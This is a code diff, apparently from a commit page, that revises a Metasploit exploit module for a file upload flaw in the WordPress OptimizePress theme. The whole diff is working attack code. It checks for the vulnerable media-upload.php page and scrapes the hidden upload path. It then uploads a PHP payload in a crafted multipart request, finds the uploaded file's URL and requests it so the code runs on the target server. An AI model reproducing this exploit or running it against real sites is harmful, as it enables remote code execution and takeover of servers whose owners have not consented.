1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
1
6
require 'msf/core'
2
- require 'nokogiri '
7
+ require 'uri '
3
8
4
9
class Metasploit3 < Msf ::Exploit ::Remote
5
10
6
11
include Msf ::HTTP ::Wordpress
7
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::FileDropper
8
14
9
15
def initialize ( info = { } )
10
16
super ( update_info ( info ,
11
17
'Name' => 'WordPress OptimizePress Themes File Upload Vulnerability' ,
12
18
'Description' => %q{
13
- This module exploits a PHP file upload vulnerability against the Wordpress theme
14
- OptimizePress.
19
+ This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
20
+ vulnerability is due to an insecure file upload on the media-upload.php component, allowing
21
+ an attacker to upload arbitrary PHP code. This module has been tested successfully on
22
+ OptimizePress 1.45.
15
23
} ,
16
24
'Author' =>
17
- [
18
- 'United of Muslim Cyber Army' , # Vulnerability discovery
19
- 'Mekanismen' , # Metasploit module
20
- ] ,
25
+ [
26
+ 'United of Muslim Cyber Army' , # Vulnerability discovery
27
+ 'Mekanismen' # Metasploit module
28
+ ] ,
21
29
'License' => MSF_LICENSE ,
22
30
'References' =>
23
- [
24
- [ 'URL' , "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
25
- ] ,
31
+ [
32
+ [ 'URL' , "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
33
+ ] ,
26
34
'Privileged' => false ,
27
35
'Platform' => [ 'php' ] ,
28
36
'Arch' => ARCH_PHP ,
29
- 'Payload' =>
30
- {
31
- 'DisableNops' => true ,
32
- } ,
33
37
'Targets' => [ [ 'OptimizePress' , { } ] ] ,
34
38
'DefaultTarget' => 0 ,
35
39
'DisclosureDate' => 'Nov 29 2013'
36
- ) )
40
+ ) )
41
+
42
+ register_advanced_options (
43
+ [
44
+ OptString . new ( 'THEMEDIR' , [ true , 'OptimizePress Theme directory' , 'OptimizePress' ] )
45
+ ] )
37
46
end
38
47
39
48
def check
40
49
uri = target_uri . path
41
50
res = send_request_cgi ( {
42
- 'method' => 'GET' ,
43
- 'uri' => normalize_uri ( uri , '/ wp-content/ themes/OptimizePress/ lib/ admin/ media-upload.php' )
51
+ 'method' => 'GET' ,
52
+ 'uri' => normalize_uri ( uri , 'wp-content' , ' themes' , datastore [ 'THEMEDIR' ] , ' lib' , ' admin' , ' media-upload.php')
44
53
} )
45
54
46
- if not res or res . code != 200
47
- return Exploit ::CheckCode ::Safe
48
- elsif res and res . code == 200
49
- return Exploit ::CheckCode ::Vulnerable
55
+ if res and res . code == 200 and res . body . to_s =~ /Upload New Image/
56
+ return Exploit ::CheckCode ::Appears
50
57
end
58
+
59
+ return Exploit ::CheckCode ::Safe
51
60
end
52
61
53
62
def exploit
54
63
uri = normalize_uri ( target_uri . path )
55
- peer = "#{ rhost } :#{ rport } "
56
64
57
65
#get upload filepath
66
+ print_status ( "#{ peer } - Getting the upload path..." )
58
67
res = send_request_cgi ( {
59
68
'method' => 'GET' ,
60
- 'uri' => normalize_uri ( uri , '/ wp-content/ themes/OptimizePress/ lib/ admin/ media-upload.php' )
69
+ 'uri' => normalize_uri ( uri , 'wp-content' , ' themes' , datastore [ 'THEMEDIR' ] , ' lib' , ' admin' , ' media-upload.php')
61
70
} )
62
71
63
- if not res or res . code ! = 200
72
+ unless res and res . code = = 200
64
73
fail_with ( Failure ::Unknown , "#{ peer } - Unable to access vulnerable URL" )
65
74
end
66
75
67
- html = Nokogiri ::HTML ( res . body )
68
- filepath = html . xpath ( "//*[@id='imgpath']" ) . attr ( "value" )
69
-
70
- if filepath == "" or filepath == nil
76
+ if res . body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/ >/
77
+ file_path = $1
78
+ else
71
79
fail_with ( Failure ::Unknown , "#{ peer } - Unable to get upload filepath" )
72
80
end
73
81
@@ -81,16 +89,16 @@ def exploit
81
89
post_data . add_part ( "<?php #{ payload . encoded } ?>" , "application/octet-stream" , nil , "form-data; name=\" newcsimg\" ; filename=\" #{ filename } \" " )
82
90
post_data . add_part ( "Upload File" , nil , nil , "form-data; name=\" button\" " )
83
91
post_data . add_part ( "1" , nil , nil , "form-data; name=\" newcsimg\" " )
84
- post_data . add_part ( "#{ filepath } " , nil , nil , "form-data; name=\" imgpath\" " )
92
+ post_data . add_part ( "#{ file_path } " , nil , nil , "form-data; name=\" imgpath\" " )
85
93
86
- print_status ( "#{ peer } - Sending PHP payload" )
94
+ print_status ( "#{ peer } - Uploading PHP payload... " )
87
95
88
96
n_data = post_data . to_s
89
97
n_data = n_data . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
90
98
91
99
res = send_request_cgi ( {
92
100
'method' => 'POST' ,
93
- 'uri' => normalize_uri ( uri , '/ wp-content/ themes/OptimizePress/ lib/ admin/ media-upload.php' ) ,
101
+ 'uri' => normalize_uri ( uri , 'wp-content' , ' themes' , datastore [ 'THEMEDIR' ] , ' lib' , ' admin' , ' media-upload.php') ,
94
102
'ctype' => 'multipart/form-data; boundary=' + post_data . bound ,
95
103
'data' => n_data ,
96
104
'headers' => {
@@ -99,46 +107,41 @@ def exploit
99
107
'cookie' => cookie
100
108
} )
101
109
102
- if not res or res . code ! = 200
110
+ unless res and res . code = = 200
103
111
fail_with ( Failure ::Unknown , "#{ peer } - Unable to upload payload" )
104
- else
105
- print_good ( "#{ peer } - Payload uploaded successfully" )
106
112
end
107
113
114
+ print_good ( "#{ peer } - Payload uploaded successfully. Disclosing the payload path..." )
108
115
#get path to payload
109
116
res = send_request_cgi ( {
110
117
'method' => 'GET' ,
111
- 'uri' => normalize_uri ( uri , '/ wp-content/ themes/OptimizePress/ lib/ admin/ media-upload.php' )
118
+ 'uri' => normalize_uri ( uri , 'wp-content' , ' themes' , datastore [ 'THEMEDIR' ] , ' lib' , ' admin' , ' media-upload.php')
112
119
} )
113
120
114
- if not res or res . code ! = 200
121
+ unless res and res . code = = 200
115
122
fail_with ( Failure ::Unknown , "#{ peer } - Unable to access vulnerable URL" )
116
123
end
117
124
118
125
payload_url = ""
119
126
120
- html = Nokogiri ::HTML ( res . body )
121
- elems = html . xpath ( "//*[@name='cs_img']" )
122
- for elem in elems
123
- if elem . attr ( "value" ) =~ /#{ filename } /
124
- payload_url = elem . attr ( "value" )
125
- end
127
+ if res . body =~ /name="cs_img" value="(.*#{ filename } .*)" \/ > <span/
128
+ payload_url = $1
129
+ else
130
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to deliver the payload" )
126
131
end
127
132
128
- if payload_url == ""
129
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to upload payload" )
133
+ begin
134
+ u = URI ( payload_url )
135
+ rescue ::URI ::InvalidURIError
136
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to deliver the payload, #{ payload_url } isn't an URL'" )
130
137
end
131
138
132
- print_good ( "#{ peer } - Our payload is at: #{ payload_url } ! Executing payload..." )
133
- res = send_request_cgi ( {
139
+ register_files_for_cleanup ( File ::basename ( u . path ) )
140
+
141
+ print_good ( "#{ peer } - Our payload is at: #{ u . path } ! Executing payload..." )
142
+ send_request_cgi ( {
134
143
'method' => 'GET' ,
135
- 'uri' => payload_url
144
+ 'uri' => u . path
136
145
} )
137
-
138
- if res and res . code != 200
139
- print_error ( "#{ peer } - Server returned #{ res . code . to_s } " )
140
- else
141
- print_good ( "#{ peer } - Payload executed successfully" )
142
- end
143
146
end
144
147
end
0 commit comments